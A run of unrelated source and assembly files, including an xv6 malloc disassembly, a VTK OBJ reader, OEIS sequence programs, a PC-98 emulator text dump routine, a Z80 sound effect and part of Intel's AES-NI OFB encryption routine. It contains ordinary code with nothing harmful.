$0x3,%eax 73b: 83 c0 01 add $0x1,%eax 73e: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 741: a1 74 0a 00 00 mov 0xa74,%eax 746: 89 45 f0 mov %eax,-0x10(%ebp) 749: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 74d: 75 23 jne 772 <malloc+0x46> base.s.ptr = freep = prevp = &base; 74f: c7 45 f0 6c 0a 00 00 movl $0xa6c,-0x10(%ebp) 756: 8b 45 f0 mov -0x10(%ebp),%eax 759: a3 74 0a 00 00 mov %eax,0xa74 75e: a1 74 0a 00 00 mov 0xa74,%eax 763: a3 6c 0a 00 00 mov %eax,0xa6c base.s.size = 0; 768: c7 05 70 0a 00 00 00 movl $0x0,0xa70 76f: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 772: 8b 45 f0 mov -0x10(%ebp),%eax 775: 8b 00 mov (%eax),%eax 777: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 77a: 8b 45 f4 mov -0xc(%ebp),%eax 77d: 8b 40 04 mov 0x4(%eax),%eax 780: 3b 45 ec cmp -0x14(%ebp),%eax 783: 72 4d jb 7d2 <malloc+0xa6> if(p->s.size == nunits) 785: 8b 45 f4 mov -0xc(%ebp),%eax 788: 8b 40 04 mov 0x4(%eax),%eax 78b: 3b 45 ec cmp -0x14(%ebp),%eax 78e: 75 0c jne 79c <malloc+0x70> prevp->s.ptr = p->s.ptr; 790: 8b 45 f4 mov -0xc(%ebp),%eax 793: 8b 10 mov (%eax),%edx 795: 8b 45 f0 mov -0x10(%ebp),%eax 798: 89 10 mov %edx,(%eax) 79a: eb 26 jmp 7c2 <malloc+0x96> else { p->s.size -= nunits; 79c: 8b 45 f4 mov -0xc(%ebp),%eax 79f: 8b 40 04 mov 0x4(%eax),%eax 7a2: 2b 45 ec sub -0x14(%ebp),%eax 7a5: 89 c2 mov %eax,%edx 7a7: 8b 45 f4 mov -0xc(%ebp),%eax 7aa: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 7ad: 8b 45 f4 mov -0xc(%ebp),%eax 7b0: 8b 40 04 mov 0x4(%eax),%eax 7b3: c1 e0 03 shl $0x3,%eax 7b6: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 7b9: 8b 45 f4 mov -0xc(%ebp),%eax 7bc: 8b 55 ec mov -0x14(%ebp),%edx 7bf: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 7c2: 8b 45 f0 mov -0x10(%ebp),%eax 7c5: a3 74 0a 00 00 mov %eax,0xa74 return (void*)(p + 1); 7ca: 8b 45 f4 mov -0xc(%ebp),%eax 7cd: 83 c0 08 add $0x8,%eax 7d0: eb 38 jmp 80a <malloc+0xde> } if(p == freep) 7d2: a1 74 0a 00 00 mov 0xa74,%eax 7d7: 39 45 f4 cmp %eax,-0xc(%ebp) 7da: 75 1b jne 7f7 <malloc+0xcb> if((p = morecore(nunits)) == 0) 7dc: 8b 45 ec mov -0x14(%ebp),%eax 7df: 89 04 24 mov %eax,(%esp) 7e2: e8 ed fe ff ff call 6d4 <morecore> 7e7: 89 45 f4 mov %eax,-0xc(%ebp) 7ea: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7ee: 75 07 jne 7f7 <malloc+0xcb> return 0; 7f0: b8 00 00 00 00 mov $0x0,%eax 7f5: eb 13 jmp 80a <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7f7: 8b 45 f4 mov -0xc(%ebp),%eax 7fa: 89 45 f0 mov %eax,-0x10(%ebp) 7fd: 8b 45 f4 mov -0xc(%ebp),%eax 800: 8b 00 mov (%eax),%eax 802: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 805: e9 70 ff ff ff jmp 77a <malloc+0x4e> } 80a: c9 leave 80b: c3 ret
#include <iostream> using std::cout; using std::endl; using std::cin; using std::string; /* * vector<T> * list<T> * forward_list<T> // a singly linked list * deque<T> // a double ended queue * set<T> // a set (map with just a key and no value) * multiset<T> // a set in which value can occur many times * map<K,V> * multimap<K,V> // a map in which a key can occur many times * unordered_map<K,V> // map using hashed lookup * unordered_multimap<K,V> // a multimap using hashed lookup * unordered_set<T> // a set using hashed lookup * unordered_multiset<T> // a multiset using a hashed lookup */ /* * Adaptors: * queue<T> * stack<T> * priority_queue<T> */ /* * Specialized: * array<T,N> * bitset<N> */ int main () { return 0; }
/* Copyright Institute of Sound and Vibration Research - All rights reserved */ #ifndef VISR_REVERBOBJECT_LATE_REVERB_PARAMETER_HPP_INCLUDED #define VISR_REVERBOBJECT_LATE_REVERB_PARAMETER_HPP_INCLUDED #include "export_symbols.hpp" #include <libvisr/detail/compile_time_hash_fnv1.hpp> #include <libvisr/parameter_type.hpp> #include <libvisr/typed_parameter_base.hpp> #include <libpml/empty_parameter_config.hpp> #include <libobjectmodel/point_source_with_reverb.hpp> #include <cstdint> #include <iosfwd> #include <istream> namespace visr { namespace reverbobject { /** * Define a unique name for the parameter type. */ static constexpr const char* sLateReverbParameterName = "reverbobject::LateReverbParameter"; class VISR_REVERBOBJECT_LIBRARY_SYMBOL LateReverbParameter: public TypedParameterBase<LateReverbParameter, pml::EmptyParameterConfig, detail::compileTimeHashFNV1(sLateReverbParameterName) > { public: LateReverbParameter(); explicit LateReverbParameter( ParameterConfigBase const & config ); /** * Copy constructor. * Also acts as default constructor. */ explicit LateReverbParameter( pml::EmptyParameterConfig const & config ); explicit LateReverbParameter( std::size_t index, objectmodel::PointSourceWithReverb::LateReverb const & params ); virtual ~LateReverbParameter() override; objectmodel::PointSourceWithReverb::LateReverb const & getReverbParameters() const { return mParams; } void setReverbParameters( objectmodel::PointSourceWithReverb::LateReverb const & newParams ) { mParams = newParams; } std::size_t index() const { return mIndex; } void setIndex( std::size_t newIndex ) { mIndex = newIndex; } private: std::size_t mIndex; objectmodel::PointSourceWithReverb::LateReverb mParams; }; } // namespace reverbobject } // namespace visr DEFINE_PARAMETER_TYPE( visr::reverbobject::LateReverbParameter, visr::reverbobject::LateReverbParameter::staticType(), visr::pml::EmptyParameterConfig ) #endif // VISR_REVERBOBJECT_LATE_REVERB_PARAMETER_HPP_INCLUDED
/*========================================================================= Program: Visualization Toolkit Module: $RCSfile$ Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkOBJReader.h" #include "vtkCellArray.h" #include "vtkFloatArray.h" #include "vtkInformation.h" #include "vtkInformationVector.h" #include "vtkObjectFactory.h" #include "vtkPointData.h" #include "vtkPolyData.h" vtkCxxRevisionMacro(vtkOBJReader, "$Revision$"); vtkStandardNewMacro(vtkOBJReader); // Description: // Instantiate object with NULL filename. vtkOBJReader::vtkOBJReader() { this->FileName = NULL; this->SetNumberOfInputPorts(0); } vtkOBJReader::~vtkOBJReader() { if (this->FileName) { delete [] this->FileName; this->FileName = NULL; } } /*-------------------------------------------------------- This is only partial support for the OBJ format, which is quite complicated. To find a full specification, search the net for "OBJ format", eg.: http://netghost.narod.ru/gff/graphics/summary/waveobj.htm We support the following types: v <x> <y> <z> vertex vn <x> <y> <z> vertex normal vt <x> <y> texture coordinate f <v_a> <v_b> <v_c> ... polygonal face linking vertices v_a, v_b, v_c, etc. which are 1-based indices into the vertex list f <v_a>/<t_a> <v_b>/<t_b> ... polygonal face as above, but with texture coordinates for each vertex. t_a etc. are 1-based indices into the texture coordinates list (from the vt lines) f <v_a>/<t_a>/<n_a> <v_b>/<t_b>/<n_b> ... polygonal face as above, with a normal at each vertex, as a 1-based index into the normals list (from the vn lines) f <v_a>//<n_a> <v_b>//<n_b> ... polygonal face as above but without texture coordinates. Per-face tcoords and normals are supported by duplicating the vertices on each face as necessary. ---------------------------------------------------------*/ // a replacement for isspace() int is_whitespace(char c) { if ( c==' ' || c=='\t' || c=='\n' || c=='\r' || c=='\v' || c=='\f') return 1; else return 0; } int vtkOBJReader::RequestData( vtkInformation *vtkNotUsed(request), vtkInformationVector **vtkNotUsed(inputVector), vtkInformationVector *outputVector) { // get the info object vtkInformation *outInfo = outputVector->GetInformationObject(0); // get the ouptut vtkPolyData *output = vtkPolyData::SafeDownCast( outInfo->Get(vtkDataObject::DATA_OBJECT())); if (!this->FileName) { vtkErrorMacro(<< "A FileName must be specified."); return 0; } FILE *in = fopen(this->FileName,"r"); if (in == NULL) { vtkErrorMacro(<< "File " << this->FileName << " not found"); return 0; } vtkDebugMacro(<<"Reading file"); // intialise some structures to store the file contents in vtkPoints *points = vtkPoints::New(); vtkFloatArray *tcoords = vtkFloatArray::New(); tcoords->SetNumberOfComponents(2); vtkFloatArray *normals = vtkFloatArray::New(); normals->SetNumberOfComponents(3); vtkCellArray *polys = vtkCellArray::New(); vtkCellArray *tcoord_polys = vtkCellArray::New(); int hasTCoords=0; // (false) int tcoords_same_as_verts=1; // (true) vtkCellArray *normal_polys = vtkCellArray::New(); int hasNormals=0; // (false) int normals_same_as_verts=1; // (true) int everything_ok = 1; // (true) (use of this flag avoids early return and associated memory leak) // -- work through the file line by line, assigning into the above six structures as appropriate -- { // (make a local scope section to emphasise that the variables below are only used here) const int MAX_LINE=1024; char line[MAX_LINE],*pChar; float xyz[3]; int iVert,iTCoord,iNormal; while (everything_ok && fgets(line,MAX_LINE,in)!=NULL) { // in the OBJ format the first characters determine how to interpret the line: if (strncmp(line,"v ",2)==0) { // this is a vertex definition, expect three floats, separated by whitespace: if (sscanf(line, "v %f %f %f", xyz, xyz + 1, xyz + 2)==3) { points->InsertNextPoint(xyz); } else { vtkErrorMacro(<<"Error in reading file"); everything_ok=0; // (false) } } else if (strncmp(line,"vt ",3)==0) { // this is a tcoord, expect two floats, separated by whitespace: if (sscanf(line, "vt %f %f", xyz, xyz + 1)==2) { tcoords->InsertNextTuple(xyz); } else { vtkErrorMacro(<<"Error in reading file"); everything_ok=0; // (false) } } else if (strncmp(line,"vn ",3)==0) { // this is a normal, expect three floats, separated by whitespace: if (sscanf(line, "vn %f %f %f", xyz, xyz + 1, xyz + 2)==3) { normals->InsertNextTuple(xyz); } else { vtkErrorMacro(<<"Error in reading file"); everything_ok=0; // (false) } } else if (strncmp(line,"f ",2)==0 || strncmp(line,"fo ",3)==0) // not sure why "fo" here { // this is a face definition, consisting of 1-based indices separated by whitespace and / polys->InsertNextCell(0); // we don't yet know how many points are to come tcoord_polys->InsertNextCell(0); normal_polys->InsertNextCell(0); int nVerts=0,nTCoords=0,nNormals=0; // keep a count of how many of each there are pChar = line + 2; const char *pEnd = line + strlen(line); while (everything_ok && pChar<pEnd) { // find the first non-whitespace character while (is_whitespace(*pChar) && pChar<pEnd) { pChar++; } if (pChar<pEnd) // there is still data left on this line { if (sscanf(pChar,"%d/%d/%d",&iVert,&iTCoord,&iNormal)==3) { polys->InsertCellPoint(iVert-1); // convert to 0-based index nVerts++; tcoord_polys->InsertCellPoint(iTCoord-1); nTCoords++; if (iTCoord!=iVert && tcoords_same_as_verts) tcoords_same_as_verts = 0; // (false) normal_polys->InsertCellPoint(iNormal-1); nNormals++; if (iNormal!=iVert && normals_same_as_verts) normals_same_as_verts = 0; // (false) } else if (sscanf(pChar,"%d//%d",&iVert,&iNormal)==2) { polys->InsertCellPoint(iVert-1); nVerts++; normal_polys->InsertCellPoint(iNormal-1); nNormals++; if (iNormal!=iVert && normals_same_as_verts) normals_same_as_verts = 0; // (false) } else if (sscanf(pChar,"%d/%d",&iVert,&iTCoord)==2) { polys->InsertCellPoint(iVert-1); nVerts++; tcoord_polys->InsertCellPoint(iTCoord-1); nTCoords++; if (iTCoord!=iVert && tcoords_same_as_verts) tcoords_same_as_verts = 0; // (false) } else if (sscanf(pChar,"%d",&iVert)==1) { polys->InsertCellPoint(iVert-1); nVerts++; } else { vtkErrorMacro(<<"Error in reading file"); everything_ok=0; // (false) } // skip over what we just read // (find the first whitespace character) while (!is_whitespace(*pChar) && pChar<pEnd) { pChar++; } } } // count of tcoords and normals must be equal to number of vertices or zero if (nVerts==0 || (nTCoords>0 && nTCoords!=nVerts) || (nNormals>0 && nNormals!=nVerts)) { vtkErrorMacro(<<"Error in reading file"); everything_ok=0; // (false) } // now we know how many points there were in this cell polys->UpdateCellCount(nVerts); tcoord_polys->UpdateCellCount(nTCoords); normal_polys->UpdateCellCount(nNormals); // also make a note of whether any cells have tcoords, and whether any have normals if (nTCoords>0 && !hasTCoords) { hasTCoords=1; } if (nNormals>0 && !hasNormals) { hasNormals=1; } } else { //vtkDebugMacro(<<"Ignoring line: "<<line); } } // (end of while loop) } // (end of local scope section) // we have finished with the file fclose(in); if (everything_ok) // (otherwise just release allocated memory and return) { // -- now turn this lot into a useable vtkPolyData -- // if there are no tcoords or normals or they match exactly // then we can just copy the data into the output (easy!) if ((!hasTCoords||tcoords_same_as_verts) && (!hasNormals||normals_same_as_verts)) { vtkDebugMacro(<<"Copying file data into the output directly"); output->SetPoints(points); output->SetPolys(polys); // if there is an exact correspondence between tcoords and vertices then can simply // assign the tcoords points as point data if (hasTCoords && tcoords_same_as_verts) output->GetPointData()->SetTCoords(tcoords); // if there is an exact correspondence between normals and vertices then can simply // assign the normals as point data if (hasNormals && normals_same_as_verts) { output->GetPointData()->SetNormals(normals); } output->Squeeze(); } // otherwise we can duplicate the vertices as necessary (a bit slower) else { vtkDebugMacro(<<"Duplicating vertices so that tcoords and normals are correct"); vtkPoints *new_points = vtkPoints::New(); vtkFloatArray *new_tcoords = vtkFloatArray::New(); new_tcoords->SetNumberOfComponents(2); vtkFloatArray *new_normals = vtkFloatArray::New(); new_normals->SetNumberOfComponents(3); vtkCellArray *new_polys = vtkCellArray::New(); // for each poly, copy its vertices into new_points (and point at them) // also copy its tcoords into new_tcoords // also copy its normals into new_normals polys->InitTraversal(); tcoord_polys->InitTraversal(); normal_polys->InitTraversal(); int i,j; vtkIdType dummy_warning_prevention_mechanism[1]; vtkIdType n_pts=-1,*pts=dummy_warning_prevention_mechanism; vtkIdType n_tcoord_pts=-1,*tcoord_pts=dummy_warning_prevention_mechanism; vtkIdType n_normal_pts=-1,*normal_pts=dummy_warning_prevention_mechanism; for (i=0;i<polys->GetNumberOfCells();i++) { polys->GetNextCell(n_pts,pts); tcoord_polys->GetNextCell(n_tcoord_pts,tcoord_pts); normal_polys->GetNextCell(n_normal_pts,normal_pts); // If some vertices have tcoords and not others (likewise normals) // then we must do something else VTK will complain. (crash on render attempt) // Easiest solution is to delete polys that don't have complete tcoords (if there // are any tcoords in the dataset) or normals (if there are any normals in the dataset). if ( (n_pts!=n_tcoord_pts && hasTCoords) || (n_pts!=n_normal_pts && hasNormals) ) { // skip this poly vtkDebugMacro(<<"Skipping poly "<<i+1<<" (1-based index)"); } else { // copy the corresponding points, tcoords and normals across for (j=0;j<n_pts;j++) { // copy the tcoord for this point across (if there is one) if (n_tcoord_pts>0) { new_tcoords->InsertNextTuple(tcoords->GetTuple(tcoord_pts[j])); } // copy the normal for this point across (if there is one) if (n_normal_pts>0) { new_normals->InsertNextTuple(normals->GetTuple(normal_pts[j])); } // copy the vertex into the new structure and update // the vertex index in the polys structure (pts is a pointer into it) pts[j] = new_points->InsertNextPoint(points->GetPoint(pts[j])); } // copy this poly (pointing at the new points) into the new polys list new_polys->InsertNextCell(n_pts,pts); } } // use the new structures for the output output->SetPoints(new_points); output->SetPolys(new_polys); if (hasTCoords) { output->GetPointData()->SetTCoords(new_tcoords); } if (hasNormals) { output->GetPointData()->SetNormals(new_normals); } output->Squeeze(); new_points->Delete(); new_polys->Delete(); new_tcoords->Delete(); new_normals->Delete(); } } points->Delete(); tcoords->Delete(); normals->Delete(); polys->Delete(); tcoord_polys->Delete(); normal_polys->Delete(); return 1; } void vtkOBJReader::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os,indent); os << indent << "File Name: " << (this->FileName ? this->FileName : "(none)") << "\n"; }
; A061669: a(n) = n*(mu(n) + 1), where mu(n) is the Moebius function A008683. ; 2,0,0,4,0,12,0,8,9,20,0,12,0,28,30,16,0,18,0,20,42,44,0,24,25,52,27,28,0,0,0,32,66,68,70,36,0,76,78,40,0,0,0,44,45,92,0,48,49,50,102,52,0,54,110,56,114,116,0,60,0,124,63,64,130,0,0,68,138,0,0,72,0,148,75,76,154,0,0,80,81,164,0,84,170,172,174,88,0,90,182,92,186,188,190,96,0,98,99,100,0,0,0,104,0,212,0,108,0,0,222,112,0,0,230,116,117,236,238,120,121,244,246,124,125,126,0,128,258,0,0,132,266,268,135,136,0,0,0,140,282,284,286,144,290,292,147,148,0,150,0,152,153,0,310,156,0,316,318,160,322,162,0,164,0,332,0,168,169,0,171,172,0,0,175,176,354,356,0,180,0,0,366,184,370,0,374,188,189,0,0,192,0,388,0,196,0,198,0,200,402,404,406,204,410,412,207,208,418,420,0,212,426,428,430,216,434,436,438,220,442,0,0,224,225,452,0,228,0,0,0,232,0,234,470,236,474,0,0,240,0,242,243,244,245,0,494,248,498,250 mov $3,$0 cal $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0. add $0,1 add $3,1 mul $0,$3 mov $1,1 mov $2,1 add $2,$0 add $1,$2 sub $1,2
/** * @file d_txt.cpp * @brief txt dialog */ #include "compiler.h" #include "resource.h" #include "dialog.h" #include "dosio.h" #include "np2.h" #include "sysmng.h" #include "misc/DlgProc.h" #include "cpucore.h" #include "pccore.h" #include "iocore.h" #include "common/strres.h" /** フィルター */ static const UINT s_nFilter[1] = { IDS_TXTFILTER }; /** * デフォルト ファイルを得る * @param[in] lpExt 拡張子 * @param[out] lpFilename ファイル名 * @param[in] cchFilename ファイル名長 */ static void GetDefaultFilename(LPCTSTR lpExt, LPTSTR lpFilename, UINT cchFilename) { for (UINT i = 0; i < 10000; i++) { TCHAR szFilename[MAX_PATH]; wsprintf(szFilename, TEXT("NP2_%04d.%s"), i, lpExt); file_cpyname(lpFilename, bmpfilefolder, cchFilename); file_cutname(lpFilename); file_catname(lpFilename, szFilename, cchFilename); if (file_attr(lpFilename) == -1) { break; } } } void convertJIStoSJIS(UINT8 buf[]) { unsigned char high = buf[0]; unsigned char low = buf[1]; high -= 0x21; if(high & 0x1){ low += 0x7E; }else{ low += 0x1F; if(low >= 0x7F){ low++; } } high = high >> 1; if(high < 0x1F){ high += 0x81; }else{ high += 0xC1; } buf[0] = high; buf[1] = low; } void writetxt(const OEMCHAR *filename) { int i; int lpos = 0; int cpos = 0; //int kanjiMode = 0; // JISのままで保存する場合用 UINT8 buf[5]; FILEH fh; if((fh = file_create(filename)) != FILEH_INVALID){ for(i=0x0A0000;i<0x0A3FFF;i+=2){ if(mem[i+1]){ // 標準漢字 //if(!kanjiMode){ // buf[0] = 0x1b; // buf[1] = 0x24; // buf[2] = 0x40; // file_write(fh, buf, 3); //} buf[0] = mem[i]+0x20; buf[1] = mem[i+1]; convertJIStoSJIS(buf); // JIS -> Shift-JIS file_write(fh, buf, 2); i+=2; lpos+=2; //kanjiMode = 1; }else{ // ASCII //if(kanjiMode){ // buf[0] = 0x1b; // buf[1] = 0x28; // buf[2] = 0x4a; // file_write(fh, buf, 3); //} if(mem[i]<0x20 || (0x7F<=mem[i] && mem[i]<0xA0) || (0xE0<=mem[i] && mem[i]<0xFF)){ // 空白に変換 buf[0] = ' '; }else{ buf[0] = mem[i]; } file_write(fh, buf, 1); //kanjiMode = 0; lpos++; } if(lpos >= 80){ cpos += lpos; lpos -= 80; if(cpos >= 80*25) break; buf[0] = '\r'; file_write(fh, buf, 1); buf[0] = '\n'; file_write(fh, buf, 1); } } file_close(fh); } } // XXX: もっと適切な場所に移すべき void dialog_getTVRAM(OEMCHAR *buffer) { int i; int lpos = 0; int cpos = 0; //int kanjiMode = 0; // JISのままで保存する場合用 UINT8 buf[5]; char *dstbuf = (char*)buffer; for(i=0x0A0000;i<0x0A3FFF;i+=2){ if(mem[i+1]){ // 標準漢字 //if(!kanjiMode){ // buf[0] = 0x1b; // buf[1] = 0x24; // buf[2] = 0x40; // file_write(fh, buf, 3); //} buf[0] = mem[i]+0x20; buf[1] = mem[i+1]; convertJIStoSJIS(buf); // JIS -> Shift-JIS memcpy(dstbuf, buf, 2); i+=2; lpos+=2; dstbuf+=2; //kanjiMode = 1; }else{ // ASCII //if(kanjiMode){ // buf[0] = 0x1b; // buf[1] = 0x28; // buf[2] = 0x4a; // file_write(fh, buf, 3); //} if(mem[i]<0x20 || (0x7F<=mem[i] && mem[i]<0xA0) || (0xE0<=mem[i] && mem[i]<0xFF)){ // 空白に変換 buf[0] = ' '; }else{ buf[0] = mem[i]; } memcpy(dstbuf, buf, 1); //kanjiMode = 0; lpos++; dstbuf++; } if(lpos >= 80){ cpos += lpos; lpos -= 80; if(cpos >= 80*25) break; buf[0] = '\r'; buf[1] = '\n'; memcpy(dstbuf, buf, 2); dstbuf+=2; } } dstbuf[0] = '\0'; } /** * TXT 出力 * @param[in] hWnd 親ウィンドウ */ void dialog_writetxt(HWND hWnd) { std::tstring rExt(LoadTString(IDS_TXTEXT)); std::tstring rFilter(LoadTString(s_nFilter[0])); std::tstring rTitle(LoadTString(IDS_TXTTITLE)); TCHAR szPath[MAX_PATH]; GetDefaultFilename(rExt.c_str(), szPath, _countof(szPath)); CFileDlg dlg(FALSE, rExt.c_str(), szPath, OFN_OVERWRITEPROMPT | OFN_HIDEREADONLY, rFilter.c_str(), hWnd); dlg.m_ofn.lpstrTitle = rTitle.c_str(); dlg.m_ofn.nFilterIndex = 1; if (dlg.DoModal()) { LPCTSTR lpFilename = dlg.GetPathName(); LPCTSTR lpExt = file_getext(szPath); writetxt(lpFilename); } }
.intel_syntax noprefix .test_case_enter: LEA R14, [R14 + 28] # instrumentation MFENCE JMP .bb0 .bb0: NOP NOP CDQ SETZ CL ADD EDX, 117 REX ADD BL, BL SETNLE AL SUB RBX, RBX TEST AL, 29 MOV RDX, 0 # instrumentation OR RBX, 0x6d # instrumentation AND RAX, 0xff # instrumentation DIV RBX {disp32} JNO .bb1 .bb1: AND RCX, 0b111111000000 # instrumentation ADD RCX, R14 # instrumentation MOVZX EDX, byte ptr [RCX] AND RAX, RAX AND RAX, 0b111111000000 # instrumentation ADD RAX, R14 # instrumentation SBB qword ptr [RAX], 39412116 TEST ECX, ECX AND RAX, 0b111111000000 # instrumentation ADD RAX, R14 # instrumentation MOV qword ptr [RAX], 81640764 REX NEG AL CMC OR RDX, 37323177 JNP .bb2 JMP .test_case_main.exit .bb2: REX SBB AL, AL SBB EAX, 74935583 AND RDX, 0b111111000000 # instrumentation ADD RDX, R14 # instrumentation CMOVS RDX, qword ptr [RDX] AND RAX, 0b111111000000 # instrumentation ADD RAX, R14 # instrumentation MOV qword ptr [RAX], 23088010 AND RBX, 0b111111000000 # instrumentation ADD RBX, R14 # instrumentation LOCK AND word ptr [RBX], 5518 .test_case_main.exit: .test_case_exit: LEA R14, [R14 - 28] # instrumentation MFENCE # instrumentation
; A211522: Number of ordered triples (w,x,y) with all terms in {1,...,n} and w + 5y = 2x. ; 0,0,0,1,2,3,4,6,8,11,13,16,19,23,27,31,35,40,45,51,56,62,68,75,82,89,96,104,112,121,129,138,147,157,167,177,187,198,209,221,232,244,256,269,282,295,308,322,336,351,365,380,395,411,427,443,459,476,493,511,528,546,564,583,602,621,640,660,680,701,721,742,763,785,807,829,851,874,897,921,944,968,992,1017,1042,1067,1092,1118,1144,1171,1197,1224,1251,1279,1307,1335,1363,1392,1421,1451 mov $2,1 mov $3,$0 add $3,2 lpb $0 add $1,$0 sub $0,1 trn $0,1 trn $3,$2 trn $1,$3 mov $2,5 lpe mov $0,$1
; A011908: [ n(n-1)(n-2)/26 ]. ; 0,0,0,0,0,2,4,8,12,19,27,38,50,66,84,105,129,156,188,223,263,306,355,408,467,530,600,675,756,843,936,1037,1144,1259,1380,1510,1647,1793,1946,2109,2280,2460,2649,2847 bin $0,3 mul $0,36 div $0,156
SECTION smc_clib SECTION smc_sound_bit PUBLIC _bitfx_13 INCLUDE "config_private.inc" EXTERN asm_bit_open _bitfx_13: ; TSpace 3 ld a,230 ld (u2_FR_1 + 1),a xor a ld (u2_FR_2 + 1),a call asm_bit_open ld b,200 u2_loop: dec h jr nz, u2_jump push af ld a,(u2_FR_1 + 1) inc a ld (u2_FR_1 + 1),a pop af xor __SOUND_BIT_TOGGLE INCLUDE "sound/bit/z80/output_bit_device_2.inc" u2_FR_1: ld h,50 u2_jump: inc l jr nz, u2_loop push af ld a,(u2_FR_2 + 1) inc a ld (u2_FR_2 + 1),a pop af xor __SOUND_BIT_TOGGLE INCLUDE "sound/bit/z80/output_bit_device_2.inc" u2_FR_2: ld l,0 djnz u2_loop ret
;=============================================================================== ; Copyright 2015-2021 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Rijndael Inverse Cipher function ; ; Content: ; Encrypt_RIJ128_AES_NI() ; ; %include "asmdefs.inc" %include "ia_32e.inc" %include "pcpvariant.inc" %if (_AES_NI_ENABLING_ == _FEATURE_ON_) || (_AES_NI_ENABLING_ == _FEATURE_TICKTOCK_) %if (_IPP32E >= _IPP32E_Y8) %macro COPY_8U 4.nolist %xdefine %%dst %1 %xdefine %%src %2 %xdefine %%limit %3 %xdefine %%tmp %4 xor rcx, rcx %%next_byte: mov %%tmp, byte [%%src+rcx] mov byte [%%dst+rcx], %%tmp add rcx, 1 cmp rcx, %%limit jl %%next_byte %endmacro segment .text align=IPP_ALIGN_FACTOR ;*************************************************************** ;* Purpose: RIJ128 OFB encryption ;* ;* void EncryptOFB_RIJ128_AES_NI(const Ipp32u* inpBlk, ;* Ipp32u* outBlk, ;* int nr, ;* const Ipp32u* pRKey, ;* int length, ;* int ofbBlks, ;* const Ipp8u* pIV) ;*************************************************************** ;; ;; Lib = Y8 ;; ;; Caller = ippsRijndael128DecryptCFB ;; align IPP_ALIGN_FACTOR IPPASM EncryptOFB_RIJ128_AES_NI,PUBLIC %assign LOCAL_FRAME (1+1+4+4)*16 USES_GPR rsi,rdi,r12,r15 USES_XMM COMP_ABI 7 ;; rdi: pInpBlk: DWORD, ; input blocks address ;; rsi: pOutBlk: DWORD, ; output blocks address ;; rdx: nr: DWORD, ; number of rounds ;; rcx pKey: DWORD ; key material address ;; r8d cfbBlks: DWORD ; length of stream in bytes ;; r9d cfbSize: DWORD ; cfb blk size ;; [rsp+ARG_7] pIV BYTE ; pointer to the IV %xdefine SC (4) %assign BLKS_PER_LOOP (4) %xdefine tmpInp [rsp] %xdefine tmpOut [rsp+16*1] %xdefine locDst [rsp+16*2] %xdefine locSrc [rsp+16*6] mov rax, [rsp+ARG_7] ; IV address movdqu xmm0, oword [rax] ; get IV movdqa oword [rsp+0*16], xmm0 ; into the stack movsxd r8, r8d ; length of stream movsxd r9, r9d ; cfb blk size mov r15, rcx ; save key material address ; get actual address of key material: pRKeys += (nr-9) * SC lea rax,[rdx*4] lea rax, [r15+rax*4-9*(SC)*4] ; AES-128 round keys ;; ;; processing ;; lea r10, [r9*BLKS_PER_LOOP] ; 4 cfb block align IPP_ALIGN_FACTOR .blks_loop: cmp r8, r10 cmovl r10, r8 COPY_8U {rsp+6*16}, rdi, r10, r11b ; move 1-4 input blocks to stack mov r12, r10 ; copy length to be processed xor r11, r11 ; index align IPP_ALIGN_FACTOR .single_blk: pxor xmm0, oword [r15] ; whitening cmp rdx,12 ; switch according to number of rounds jl .key_128_s jz .key_192_s ; do encryption .key_256_s: aesenc xmm0, oword [rax-4*4*SC] aesenc xmm0, oword [rax-3*4*SC] .key_192_s: aesenc xmm0, oword [rax-2*4*SC] aesenc xmm0, oword [rax-1*4*SC] .key_128_s: aesenc xmm0, oword [rax+0*4*SC] aesenc xmm0, oword [rax+1*4*SC] aesenc xmm0, oword [rax+2*4*SC] aesenc xmm0, oword [rax+3*4*SC] aesenc xmm0, oword [rax+4*4*SC] aesenc xmm0, oword [rax+5*4*SC] aesenc xmm0, oword [rax+6*4*SC] aesenc xmm0, oword [rax+7*4*SC] aesenc xmm0, oword [rax+8*4*SC] aesenclast xmm0, oword [rax+9*4*SC] movdqa oword [rsp+1*16], xmm0 ; save chipher output movdqu xmm1, oword [rsp+6*16+r11] ; get src blocks from the stack pxor xmm1, xmm0 ; xor src movdqu oword [rsp+2*16+r11],xmm1 ;and store into the stack movdqu xmm0, oword [rsp+r9] ; update chiper input (IV) movdqa oword [rsp], xmm0 add r11, r9 ; advance index sub r12, r9 ; decrease length jg .single_blk COPY_8U rsi, {rsp+2*16}, r10, r11b ; move 1-4 blocks to output add rdi, r10 add rsi, r10 sub r8, r10 jg .blks_loop mov rax, [rsp+ARG_7] ; IV address movdqa xmm0, oword [rsp] ; update IV before return movdqu oword [rax], xmm0 REST_XMM REST_GPR ret ENDFUNC EncryptOFB_RIJ128_AES_NI align IPP_ALIGN_FACTOR IPPASM 